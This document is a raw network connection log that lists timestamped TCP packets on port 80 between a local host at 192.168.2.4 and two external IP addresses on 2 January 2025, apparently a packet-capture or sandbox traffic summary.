Jan 2, 2025 20:34:58.930357933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.930358887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930370092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.930397034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.930414915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.963948965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.963975906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.963990927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964003086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964003086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.964013100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964029074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.964037895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964049101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964061022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.964078903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.964102030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.970746040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970763922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970777035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970787048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970791101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.970798016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970810890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970813990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.970822096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970833063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.970854044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.970866919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.973833084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973881006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.973898888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973910093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973927021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973937988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973947048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.973949909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973958015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.973959923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.973998070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:59.028991938 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:34:59.033937931 CET	80	49738	69.42.215.252	192.168.2.4
Jan 2, 2025 20:34:59.034020901 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:34:59.034657955 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:34:59.039429903 CET	80	49738	69.42.215.252	192.168.2.4
Jan 2, 2025 20:34:59.430531025 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:59.435426950 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:59.435511112 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:59.435656071 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:59.440381050 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:59.702755928 CET	80	49738	69.42.215.252	192.168.2.4
Jan 2, 2025 20:34:59.703336954 CET	49738	80	192.168.2.4	69.42.215.252
Jan 2, 2025 20:34:59.869699001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.259752035 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.259772062 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.259784937 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.259799957 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.259871006 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.259871006 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.261188030 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.261217117 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.261229992 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.261241913 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.261241913 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.261265993 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.261265993 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.261338949 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.264590979 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.264604092 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.264672995 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.264775038 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.264800072 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.264935017 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.266376972 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.266388893 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.266400099 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.266954899 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.346560001 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.346582890 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.346595049 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.346606970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.346618891 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.346642971 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.346976995 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.347791910 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.347811937 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.347822905 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.347903967 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.347903967 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.348048925 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.348061085 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.348073959 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.348097086 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.348097086 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.348187923 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.351301908 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351325989 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351339102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351361990 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.351385117 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351396084 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351406097 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.351409912 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351422071 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.351429939 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.351443052 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.351533890 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.352264881 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.352277040 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.352288961 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.352336884 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.352336884 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.352930069 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.352941036 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.353041887 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.353053093 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.353064060 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.353065014 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.353077888 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.353099108 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.353099108 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.353190899 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433170080 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433207989 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433217049 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433247089 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433258057 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433265924 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433270931 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433283091 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433346033 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433346033 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433731079 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433763027 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433773041 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.433830023 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433830023 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.433998108 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434006929 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434050083 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434050083 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434581041 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434592962 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434604883 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434614897 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434624910 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434626102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434647083 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434804916 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434860945 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434871912 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434887886 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434897900 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434909105 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.434911013 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434953928 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.434953928 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438170910 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438184023 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438201904 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438213110 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438278913 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438278913 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438333988 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438441992 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438447952 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438452959 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438465118 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438474894 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438487053 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438487053 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438503981 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438514948 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.438524008 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.438574076 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439246893 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439264059 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439275026 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439285040 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439296007 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439297915 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439341068 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439351082 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439893961 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439905882 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439918995 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439929008 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439930916 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439940929 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439945936 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439953089 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439960957 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.439965010 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.439974070 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.440242052 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.440565109 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.440576077 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.440586090 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.440644979 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.440644979 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.519928932 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.519967079 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.519979954 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.519990921 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520001888 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520025015 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520030975 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520047903 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520061016 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520080090 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520215988 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520226955 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520232916 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520265102 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520267963 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520277023 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520287991 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520298958 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520328045 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520595074 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520606995 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520618916 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520625114 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.520629883 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.520679951 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521255970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521266937 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521282911 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521294117 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521302938 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521313906 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521316051 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521320105 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521338940 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521361113 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521460056 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521471024 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521481991 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521492958 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521507025 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521529913 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521704912 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521714926 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521727085 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521739006 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.521749973 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.521773100 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.524746895 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524780989 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524796963 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524808884 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524821043 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524828911 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.524868011 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.524930954 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524943113 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524952888 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.524970055 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525003910 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525101900 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525114059 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525125027 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525135040 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525140047 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525146961 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525171041 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525192976 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525373936 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525418043 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525429010 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525439024 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525470018 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525501966 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525597095 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525625944 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525633097 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525636911 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525666952 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525708914 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525795937 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525808096 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525819063 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525846958 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525907040 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.525948048 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.525996923 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526007891 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526017904 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526034117 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526055098 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526061058 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526067972 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526082039 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526087999 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526091099 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526118994 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526141882 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526437998 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526451111 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526460886 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526472092 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526494980 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526511908 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526671886 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526683092 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526694059 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526705027 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526710033 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526722908 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526740074 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526765108 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.526968956 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526982069 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.526998997 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527009010 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527014017 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527033091 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527041912 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527074099 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527213097 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527254105 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527355909 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527367115 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527379036 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527390003 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527400970 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527404070 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527412891 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527425051 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527431011 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527437925 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.527447939 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527467012 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.527491093 CET	49740	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:35:00.606722116 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606765985 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606785059 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606796026 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606807947 CET	80	49740	47.254.187.72	192.168.2.4
Jan 2, 2025 20:35:00.606817007 CET	80	49740	47.254.187.72	192.168.2.4
